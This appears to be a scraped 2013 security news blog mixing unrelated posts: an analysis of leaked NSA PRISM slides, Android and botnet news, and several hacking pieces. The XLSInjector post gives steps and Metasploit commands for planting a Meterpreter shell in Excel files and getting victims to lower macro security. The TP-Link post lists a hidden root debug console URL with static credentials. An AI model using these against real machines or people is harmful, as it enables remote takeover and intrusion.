From a number of job descriptions we learn that this Unified Targeting Tool is often mentioned in connection to GAMUT and sometimes also to CADENCE. We see this written like "GAMUT-UNIFIED TARGETING TOOL", "GAMUT/UTT" or "CADENCE/UTT". Both GAMUT and CADENCE are nicknames for what is said to be a "collection mission system for tasking", but it's not really clear how this relates to the Unified Targeting Tool. Another NSA tasking tool is called OCTAVE.

An interesting coincedence is that the word gamut means a range of colors that can be reproduced by a certain technique - like a prism can break light up into its constituent spectral colors.

More important is that the new slide shows that for PRISM the Unified Targeting Tool (UTT) is used for tasking, which means that this PRISM program is different from the Planning tool for Resource Integration, Synchronization and Management (PRISM), which itself is a tasking tool. Before the new slides were released The Guardian and The Washington Post failed to explain whether PRISM was a single application or an operation like program.

Infographic comparing the PRISM data collection program and the PRISM planning tool
(click for a bigger picture)

Now we know that the PRISM planning tool isn't the application used for tasking the data collection from the internet companies, it's also clear that the PRISM planning tool is used primarily for requesting information needed for military operations and therefore tasks various intelligence sources deployed to those operations. By contrast, the Unified Tasking Tool used under the PRISM program is for requesting information on the national level.

The actual data collection
The actual collecting of the internet data under the PRISM program is not done by the NSA, but by the Data Intercept Technology Unit(DITU) of the FBI. This makes sense, as the FBI is the agency which is primarily responsible for investigating US companies and citizens.

From one source it seems that the Data Intercept Technology Unit was set up in 2011 or 2012 to monitor new and emerging technology with court-authorized intercepts, but this letter (pdf) shows it already existed in 2007. Pictures of the World Trade Center and the Pentagon in the DITU challenge coin indicate this unit was established in the aftermath of the 9-11 attacks.

In it's comments on this slide, The Washington Post says this FBI "interception unit [is] on the premises of private companies", which isn't the case as the DITU is an FBI unit. They can have equipment installed at sites of the internet companies, but for that no evidence is presented, making one author questioning whether there is such equipment at all.

Initially the DITU was only tapping into the internet and decoding the raw data with the Packeteer en Coolminer tools, as can be read in this document (pdf) from 2010, but according to the PRISM-reporting, the unit can now also order data from companies like Google, Yahoo, Microsoft, Apple and others directly. Google has said in the past, that when it receives a valid FISA court order under the associated program, it uses a secure FTP server to ship the info to the government. Another option is doing this by using an encrypted dropbox, where an internet company can drop the requested data.

Depending on the company, a tasking may return e-mails, attachments, address books, calendars, files stored in the cloud, text or audio or video chats and metadata that identify the locations, devices used and other information about a target. After collecting, the FBI's Data Intercept Technology Unit passes this information to one or more customers such as the NSA, the CIA or the FBI itself.

Storage of collected PRISM data

A second slide (below) shows how collected data flows into the various NSA servers. It's the Data Intercept Technology Unit (DITU) of the FBI which collects raw data from the internet companies, and sends them to the NSA. At NSA the data first go to a system called PRINTAURA, which, according to the Washington Post, automates the traffic flow. As we learn from the slide, PRINTAURA is managed by NSA unit S3532.

All NSA offices, operations, units and cells have their own designation, consisting of a letter, followed by some numbers. We remember that the first slide of the PRISM presentation has a line which says "[...] PRISM Collection Manager, S35333" which means the author of the slides was a collection manager attached to unit S35333, which looks closely related to the PRINTAURA unit S3532.

From PRINTAURA data go to a database called TRAFFICTHIEF, which probably stores all the collected data like some kind of backup. Data to be processed are send to a system called SCISSORS, which is managed by unit T132, and from there onto unit S3132 for "Protocol Exploitation". This does the processing of something which is blacked out - probably the specific classified codeword used for these internet data.

This processing sorts the data into different types and protocols and dispatches them to the various NSA databases for storage. But before that, metadata and voice content have to pass FALLOUT and CONVEYANCE. According to the Washington Post, these systems appear to be a final layer of filtering to reduce the intake of information about Americans. All other data once again pass the SCISSORS system.

Finally, the collected data are stored in the following databases:
- MARINA: for internet metadata
- MAINWAY: for phonecall metadata
- NUCLEON: for voice content
- PINWALE: contrary to what many other media say, this database is not only for video content, but also for "FAA partitions" and "DNI content". DNI stands for Digital Network Intelligence, which is intelligence derived from digital networks, or simply: internet content, like forum postings and e-mail and chat messages. The word PINWALE is often combined with the abbreviation UIS, which could expand to something like "Unified Information Storage". Some related digital network intelligence tools are AGILITY and AGILEVIEW.

Analysing collected data

There are no slides available saying what happens with these data after being stored, but The Washington Post says that "After processing, [collected data] are automatically sent to the analyst who made the original tasking. The time elapsed from tasking to response is thought to range from minutes to hours. A senior intelligence official would say only, Much though we might wish otherwise, the latency is not zero."

At the moment it's not clear which tool or application is used to analyse the data gathered from the US internet companies. National security reporter Marc Ambinder says that PRISM itself might be "a kick-ass GUI [graphic user interface] that allows an analyst to look at, collate, monitor, and cross-check different data types".

However, until now there's no evidence for PRISM being such a tool for analysis. Most tools used by NSA employees are listed in job descriptions and the PRISM we see there is always the Planning tool for Resource Integration, Synchronization and Management, that we talked about in our previous posting. Therefore, it's likely that data gathered under the PRISM program are analysed using common NSA analysing tools, like for example a DNI visualization tool called TREASUREMAP.

Based upon what such analysis presents, the NSA analyst uses another tool, like CPE (Content Preparation Environment), to write a report. Such reports are then stored in other databases, like MAUI, which is used for finished NSA intelligence products. Finally, these intelligence reports are available to end users through the Top Secret section of INTELINK, which is the intranet of the US intelligence community.

PRISM case notations

A third slide (below) shows how each target gets a unique PRISM case notation and what the components of these notations are.

Abbreviations: IM = Instant Messaging; RTN-EDC = Real Time Notification-Electronic Data Communication(?);
RTN-IM = Real Time Notification-Instant Messaging; OSN = Online Social Networking; CASN = ?

The first position is the designation for each of the providers from which internet data are collected. Some people noticed the numbers jumped from P8 for AOL to PA for Apple, but someone suggests that P9 was maybe assigned to a company that fell out, and that the numbers may be hexadecimal, so the next provider will be PB, followed by PC, etc., as B = 11, C = 12, etc.

The next position of the case notation is a single letter, designating the content type, like e-mail and chat messages, social network postings, but also so-called real-time notifications (RTN) for e-mail and chat events. The Washington Post and other media apparently misinterpreted this by saying that NSA officials "may receive live notifications when a target logs on or sends an e-mail, or may monitor a voice, text or voice chat as it happens".

In the slide, the real-time notifications are clearly listed as being "Content Type" and most of us will know them as the messages you get when someone logs in at an internet chatroom or an instant messenger, or when you receive an e-mail through an e-mail client. These notification messages are also available for NSA analysts, but only after being collected and stored, just like all other types of internet content.

Searching the collected data

The fourth new slide (below) is presented by The Washington Post as being about "Searching the PRISM database", but as we just learned from the dataflow slide, there is no single PRISM-database. Data collected from the internet companies go into separate databases, according to the type of data. Some of these databases already existed before the PRISM program was started in 2007.

The content of the slide shows a screenshot of a web based application called REPRISMFISA, which is probably accessible through the web address which is blacked out by the Post. Unfortunately there's no further explanation of what application we see here, but if we look at the word REPRISMFISA we can imagine the application is for going "back to data collected under the PRISM program according to the Foreign Intelligence Surveillance Act (FISA)".

Above the olive green bar, there is a line saying: "DYNAMIC PAGE - HIGHEST POSSIBLE CLASSIFICATION IS TOP SECRET // [blacked out] / SI / TK // ORCON // NOFORN" This means that depending on the generated content of the page, it has to be classified as TOP SECRET, with additionally one or several of the following Sensitive Compartmented Information control systems:
- TALENT KEYHOLE (TK - for data collected by space-based collection platforms)
- Special Intelligence (SI - for data from communications intercepts)
- an undisclosed control system marked by a classified codeword, which is blacked out by The Washington Post. Probably this is the codeword used for information which is based upon data derived from the internet companies. As said earlier, "PRISM" is not a codeword used for content, but rather the (unclassified) nickname of the program for collecting raw internet data.

In the center of the page there are three icons, which can be clicked: PRISM, FBI FISA and DOJ FISA. This seems to confirm that this application is used to search data collected under the Foreign Intelligence Surveillance Act (FISA), specified for use by NSA, FBI and the Department of Justice (DOJ).

Below these icons there is a search field, to get a partial list of records. The search options seem rather limited, as only two keywords can be entered, with an additonal "and/or" option. At the left there's a column presenting a number of options for showing totals of PRISM entries. For checking the record status, one can click the following options:
- See Entire List (Current)
- See Entire List (Expired)
- See Entire List (Current and Expired)
- See NSA List
- See New Records
- Ownership count

Below this list, the text says: "If the total count is much less than this, REPRISMFISA is having issues, E-MAIL the REPRISMFISA HELP DESK AT [address blacked out] AND INFORM THEM"

The numbers below that text are hardly readable, but the Washington Post says that on "April 5, according to this slide, there were 117,675 active surveillance targets in PRISM's counterterrorism database". This sounds like a huge number, but without any further details about these targets it's almost impossible to give some meaningful opinion about it.

Links and Sources

- The Week: Solving the mystery of PRISM
- ForeignPolicy.com: Evil in a Haystack
- WashingtonPost.com: Inner workings of a top-secret spy program
- TechDirt.com: Newly Leaked NSA Slides On PRISM Add To Confusion, Rather Than Clear It Up
- Technovia.co.uk: Something doesn’t add up in the lastest Washington Post PRISM story

XLSInjector – Inject Shell Meterpreter Files in Excel

2013-07-08T11:04:00.002-07:00

It is a tool created in perl by keith lee that it allows to inject into a Microsoft Excel file XLS console meterpreter (running everything in RAM without creating additional processes), allowing us to access to the remotely by port 4444 and take total control of the machine.

For XLSInjector to function properly, we need the following:

* A machine (virtual or real) with Windows
* Microsoft Excel
* Perl
* Win32 : ole for Perl module
* An XML file to infect
* The XLSInjector
* and finally the Metasploit Framework

After you have all the elements necessary for the proper functioning of the XLSInjector we go to his execution, which is quite simple:

Code:

perl xlsinjector.pl -i excelfile.xls -o fileConShellexcel.xls

But not everything is so simple with this tool, it turns out that XLSInjector NO jumps made by Microsoft in its Office suite, scripting filters so it touches to convince, through social engineering or any other technique that the same user put the low macro security and that "trust" VB projects, tricky but sure with some presumption gets to perform these tasks.

Assuming that already were the proper settings for the correct functioning of the XLSInjector we will remotely access our shell meterpreter using Metasploit Framework console

We start the metasploit console:

Code:

set payload windows/meterpreter/bind_tcp
set RHOST ipdelpcvictima
set RPOT 4444
exploit

Disponível Snort 2.9.5

2013-07-08T11:02:00.002-07:00

Snort é um sistema de prevenção de intrusão de rede de fonte aberta, além de ser um sistema de detecção (IDS / IPS) desenvolvido pela Sourcefire. Combinando os benefícios de assinatura, protocolo e inspeção baseada em anomalia, Snort é a tecnologia mais amplamente implantada IDS / IPS em todo o mundo. Com milhões de downloads e cerca de 400.000 usuários registrados, Snort tornou-se o padrão de fato para IPS.

Nessa nova versão, foi adicionado um sistema de monitoramento do canal de dados FTP para transferência de arquivos como file_data de regras do Snort. Na sequência, foi adicionado suporte relacionado à PAF baseada em serviços carregados através da tabela de atributos, e code removed - disable-paf; houve ainda a adição de suporte decoding para Cisco ERSPAN, adição de rastreamento de envios HTTP como file_data (regras do Snort), adição da capacidade de usar filtros de eventos com regras PPM, dentre outras implementações relacionadas a comando de controle, recarregamento de configuração do Snort e melhorias no SIGHUP.

Saiba Mais:
[1] Snort http://www.snort.org/snort-downloads

Shell para depuración con privilegios root en TP-LINK WDR740

2013-07-08T11:01:00.002-07:00

RESUMEN:

Existe una interfaz de depuración via web con privilegios de root y credenciales estáticas en routers TP-Link WDR740.

DESCRIPCION

Modelos: WR740N, WR740ND y posiblemente otros
Actualización:Se ha reportado en foros que los modelos WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,WR2543ND,MR3220,MR3020,WR841N también tienen esta shell de depuración.

Firmwares: 3.12.11 Build 111130 Rel.55312n y posiblemente otros.

Vector de Ataque: Remoto y local.

El router TP-Link WDR740ND/WDR740N cuenta con una interfaz web oculta para depuración que podría servir de puerta trasera a atacantes localizada en /userRpmNatDebugRpm26525557/linux_cmdline.html.
El nombre de usuario de esta consola esta guardado estáticamente en el binario del servidor HTTP y la contraseña no puede ser cambiada desde la interfaz web, por lo que siempre es valida la siguiente cuenta:

Usuario: osteam
Contraseña: 5up
La criticidad de esta vulnerabilidad es alta debido a que a través de esta consola se pueden ejecutar comandos en el sistema con privilegios root como agregar reglas de redirección de trafico y modificar archivos de configuración.

POC

Para acceder a esta consola solo se necesita ir a:

Código: You are not allowed to view links. Register or Login

http://ip/userRpmNatDebugRpm26525557/linux_cmdline.html
e introducir las credenciales "osteam:5up"

Saludos.

FUENTE: Paulino Calderón,

Fonte: Underc0de

Android ‘Master Key’ Security Hole Puts 99% Of Devices At Risk Of Exploitation

2013-07-05T04:44:00.002-07:00

Mobile security startup Bluebox Security has unearthed a vulnerability in Android’s security model which it says means that the nearly 900 million Android phones released in the past four years could be exploited, or some 99% of Android devices. The vulnerability has apparently been around since Android v1.6 (Donut), and was disclosed by the firm to Google back in February. The Samsung Galaxy S4 has already apparently been patched.

It’s likely that Google is working on a patch for the vulnerability. We’ve reached out to the company for comment and will update this story with any response.

Bluebox intends to detail the flaw at the Black Hat USA conference at the end of this month but in the meanwhile it’s written a blog delving into some detail. The vulnerability apparently allows a hacker to turn a legitimate app into a malicious Trojan by modifying APK code without breaking the app’s cryptographic signature. Bluebox says the flaw exploits discrepancies in how Android apps are cryptographically verified and installed. Specifically it allows a hacker to change an app’s code, leaving its cryptographic signature unchanged — thereby tricking Android into believing the app itself is unchanged, and allowing the hacker to wreak their merry havoc.

The flaw is made worse if an attacker targets a sub-set of apps developed by device makers themselves, or third parties — such as Cisco with its AnyConnect VPN app — that work closely with device makers and are granted system UID access. This sub-set of apps can allow a hacker to tap into far more than just mere app data, with the potential to steal passwords and account info and take over the normal running of the phone. Here’s how Bluebox explains it:

Installation of a Trojan application from the device manufacturer can grant the application full access to Android system and all applications (and their data) currently installed. The application then not only has the ability to read arbitrary application data on the device (email, SMS messages, documents, etc.), retrieve all stored account & service passwords, it can essentially take over the normal functioning of the phone and control any function thereof (make arbitrary phone calls, send arbitrary SMS messages, turn on the camera, and record calls). Finally, and most unsettling, is the potential for a hacker to take advantage of the always-on, always-connected, and always-moving (therefore hard-to-detect) nature of these “zombie” mobile devices to create a botnet.

While 99% of Android phones being technically vulnerable to app hackers is a tough stat to ignore, it’s worth emphasising that just because such a flaw (apparently) exists it doesn’t mean it has or will be widely exploited — especially as, in this instance, it has been flagged to Google prior to being made public. And Google is presumably hard at work on a fix.

That said, the nature of the Android ecosystem does slow down the patching process. On the fix front, Bluebox notes that it will be up to device manufacturers to “produce and release firmware updates for mobile devices (and furthermore for users to install these updates)”, adding: “The availability of these updates will widely vary depending upon the manufacturer and model in question.”

Getting timely OS updates has always been a problem for Android users (Nexus owners are the exception), owing to Android’s openness necessarily encouraging variation and fragmentation within the ecosystem, with different manufacturer skins and carrier additions all standing in the way and delaying updates. That likely means the window of risk attached to this latest Android vulnerability takes longer to close for the majority of users than many would be comfortable with.

In the meantime, Bluebox advises the following:

Device owners should be extra cautious in identifying the publisher of the app they want to download.
Enterprises with BYOD implementations should use this news to prompt all users to update their devices, and to highlight the importance of keeping their devices updated.
IT should see this vulnerability as another driver to move beyond just device management to focus on deep device integrity checking and securing corporate data.

Android is often linked with malware — not because there’s a high actual risk of users being infected with malware but because, in relative terms, it’s the biggest target for mobile malware writers, being as it’s the dominant mobile OS. It’s also not as locked down as some other mobile platforms, making it an easier target for hackers. Yet its worth stressing that mobile malware remains a very marginal risk, even for Android users, and especially if you’re a mainstream user getting your apps from the likes of Google Play, rather than alternative third-party app stores or routes.

This latest Android security flaw adds to the general low-level risk attached to using Android but how widely it ends up being exploited by malware writers remains to be seen — so how much more actual risk it introduces into the ecosystem is hard to quantify.

Update: According to a report in CIO, Google has already modified its Play Store’s app entry process so that apps that have been modified using this exploit are blocked and can no longer be distributed via Play.

Font: http://techcrunch.com/2013/07/04/android-security-hole/

EXCLUSIVE: Pro-US hacker 'The Jester' takes aim at nations helping Snowden

2013-07-05T04:38:00.002-07:00

The Jester, who specializes in taking down anti-American websites, says he'll go after any country that helps NSA leaker Edward Snowden.

The self-described patriot hacker known as “The Jester” says he’ll carry out cyber attacks on countries considering granting asylum to Edward Snowden.

Beginning early Monday, The Jester hacked into several government websites in Ecuador as reports circulated that Snowden, who divulged secrets on the National Security Agency’s spying programs, could be headed there. With Venezuela emerging as a possible landing spot for Snowden, The Jester told FoxNews.com he could turn his attention to that South American country.

“These are enemies and that's how I will be treating them, and anyone who facilitates them,” The Jester told FoxNews.com in an online interview.

“These are enemies and I that's how I will be treating them, and anyone who facilitates them."

- "The Jester," self-described "hacker for good"

The Jester launched denial of service attacks on a website hosting Ecuador’s tourism ministry and on another that hosts the country’s stock market home page. While in communication with FoxNews.com, he appeared to be taking the sites on and offline. When Ecuador abruptly reversed its stance and said it would not harbor Snowden, The Jester told FoxNews.com he would restore the sites. Within minutes, they were back online.

The Jester’s real identity is not known, but he has hacked into various jihadist websites, taking down Internet forums where terrorists and wannabes gather online. He calls himself a “hacker for good,” and he told FoxNews.com that he sees people like Snowden and Julian Assange, the WikiLeaks mastermind who has also disseminated government secrets, as similarly dangerous to U.S. interests.

“As jihadis groom Muslims online to commit acts against us, so [Julian Assange] grooms government personnel like [Army private and accused leaker Bradley] Manning and Snowden to do his dirty work,” the Jester told FoxNews.com.

Snowden is believed to be hiding in a Moscow airport and has applied to at least 21 countries for asylum. With Venezuelan President Nicolas Maduro in Moscow, there is speculation Snowden could fly back to Carracas with him.

The Jester’s computer is on display in exhibit at the International Spy Museum in Washington. The museum’s website describes him as a force against leakers and terrorists:

“The mysterious real-life hacktivist known only as Th3J35T3R (THE JESTER) shuts down websites he opposes,” the website states. “Once he has successfully disabled targets such as Wikileaks or radical Islamist sites, he triumphantly tweets ‘TANGO DOWN.’”

The latest hack attacks by The Jester are not his first targeting Wikileaks or its associates. In 2010, he knocked Wikileaks’ servers offline when it was dumping State Department cables.

Neither the NSA nor the State Department responded to FoxNews.com’s requests for comment.

How to add your external/own Exploits in Metasploit Database !!

2013-07-05T04:37:00.001-07:00

Hello Friends..!!

So many time my friends ask me on facebook that how can we add external/own exploits in Metasploit?

If you are unfamiliar with Metasploit then I would recommend you to read this post first. As it is a framework which contains a lot of public exploits in it so this problem may come into mind that how to add new/external/own exploits in Metasploit.

So let’s start:

In Backtrack 5+ version framework3 directory is in /opt. Path to framework3 in Backtrack 5+ versions is:

/opt/Metasploit/msf3

First let me check how much exploits I have in my Metasploit right now:

When you run your Metasploit once in your system it make a hidden folder under /root.

This hidden folder is named as “.msf4”. Let’s go into this.

Now your custom exploits should be in /root/.msf4/modules/exploits folder. So first we have to make a folder “exploits” in “.msf4” directory.

Now let suppose we need to add an exploit in Metasploit so we need to have an exploit right? I am using an exploit from http://www.exploit-db.com . You can google to get new exploits or you can make your own. I am going to add this exploit into Metasploit.

http://www.exploit-db.com/exploits/26529/

[Author] : Metasploit.

So first of all copy this exploit as it is and make a new file with rb extension in your backtrack machine.

Now copy this file to /root/.msf4/modules/exploits/ and check it.

Now let’s see the number of exploit in our Metasploit now.

And yeah..!! we have added a new exploit in our Metasploit database successfully .

Hope you like this tutorial. !!

France has its own PRISM-like surveillance program, report suggests

2013-07-04T05:21:00.001-07:00

Le Monde says it has exposed a secret scheme, being carried out by the French intelligence service DGSE, that stores metadata for communications inside the country and possibly beyond.

French president François Hollande has been vocal in his objections to the U.S. bugging European institutions but, when the PRISM scandal broke, some criticizedhim for staying silent – after all, PRISM appears to have sucked in data from people all around the world, including France. Now, if a Le Monde scoop is to be believed, we know why Hollande held back.

The article, published on Thursday, claims that France’s intelligence agency, theDGSE, has its own PRISM-like scheme that collects metadata from communications within the country, as well as those flowing into and out of France. The data is reportedly stored in the DGSE’s basement, where the agency has a supercomputer to chew through it.

Other French intelligence services apparently also have access to this data. The program may be illegal, as French surveillance laws require case-by-case warrants.

France isn’t the only European country whose clandestine espionage activities have been exposed post-PRISM. Whistleblower Edward Snowden revealed a British program called Tempora, which involves the tapping of the internet’s backbone at locations around the world.

At the European level, there is some clear push-back against PRISM. Justice commissioner Viviane Reding said on Wednesday that her first list of questions to the U.S. about the program had not been satisfactorily answered in full, and further questions had since been sent across the Atlantic.

“The fact that the programs are said to relate to national security does not mean that anything goes,” Reding said.

However, the treaties that govern the European Union leave national security in the hands of individual member states, so it’s possible that – even under a revised data protection regime — European lawmakers will have their hands tied if the UK and France decide to legitimize and/or continue with their activities.

3D-Printed Cast Lets Broken Arms Breathe Odor-Free

2013-07-04T05:10:00.001-07:00

(Image Credit: Getty Images)

Three-D printing is making the medicine rounds. Whether it’s a young boy’s new robot hand or an older woman’s customized jaw, the technology is catching on with doctors across the globe.

One of the latest projects is a new cast that looks like an attractive alternative to the bulky plaster and fiberglass casts used to treat broken bones. The new design comes from Jake Evill, a recent graduate of the School of Design at Victoria University of Wellington in New Zealand.

Dubbed “Cortex,” the cast looks like a mash-up of a spider web, a piece of honeycomb and a fishnet stocking. The network of holes is one of the new cast’s greatest benefits, said Leon Benson, a spokesman for the American Academy of Orthopedic Surgeons, as well as a practicing surgeon himself.

“It will at least allow patients to scratch themselves,” he told ABC News.

The new cast will also let air circulate and prevent the buildup of odor caused by traditional casts.

The network of holes also gives it another benefit: less weight. “A plaster cast might only weigh two or three pounds, but patients will say that it weighs a ton,” Benson said.

Although there is less material, Benson said he believes the cast will hold the patient’s arms firmly in place. “It looks strong enough to do the job,” he said.

Where Cortex still needs to be improved is in its manufacturing time. Designer Evill said the cast takes about three hours to produce, according to an article in Dezeen magazine. Plaster and fiberglass casts can be applied within minutes, but take a couple days to harden completely.

Large Pony botnet controller discovered

2013-07-04T04:38:00.002-07:00

Every once in a while we get to peek into the lion’s den, this time we’ll be checking out a fairly large instance of the Pony botnet controller, containing a large amount of stolen credentials and other goodies.

Pony, for those of you who have not yet had the pleasure of encountering it, is a bot controller much like any other: It has a control panel, user management, logging features, a database to manage all the data and, of course, statistics. It also seems to be doing these things right, as it appears to be popping up quite a bit lately.

This Pony, version 1.9 as they tend to be these days, was a particularly diligent one and within a few days hundreds of thousands of credentials were stolen from its victims.

Breakdown of stolen credentials per browser, e-mail client, and domain:

You may not think it by looking at these fairly professional statistics that wouldn’t put a dignified piece of software to shame, but Pony’s main business still remains theft: stolen credentials for websites, email accounts, FTP accounts, anything it can get its hands on- grabbed and reported back home.

A total of nearly 650,000 website credential stolen, with the top sites being:

~90,000 credentials for Facebook accounts
~25,000 credentials for Yahoo accounts
~20,000 credentials for Google accounts.

And many more with lower individual numbers, but still amounting to the remaining 515,000 accounts. 17,000 email accounts compromised, 7,000 FTP credentials were stolen.

Arseny Levine, Lead Security Researcher at Trustwave.

A Physical Music Sequencer using RFID tags

2013-07-04T04:37:00.003-07:00

Mike Cook prototyped a diy physical music sequencer with an Arduino Uno and we agree with him it has a ”unique take on the concept an RFID sequencer”.

He wrote us describing it with these words:

This takes RFID tags each one mapped to a note and instrument and placed on one of 32 pegs will generate a music sequence. I designed and built a special RFID reader that has 32 read positions, it took 3 months to wire up. The case was hand built and it was designed to fit exactly into a flight box. It contains an Arduino and outputs MIDI.

It uses 32 red / blue LEDs to illuminate acrylic pegs which light up red when a token is hung on them. The sequence sweep progress is shown in blue on the pegs when the sweep position meets a peg with a token it light up purple and a note is produced. The sequence length can be adjusted from 8 steps to over a million steps before repeating.

You can browse his well-documented page with software and schematic at this link.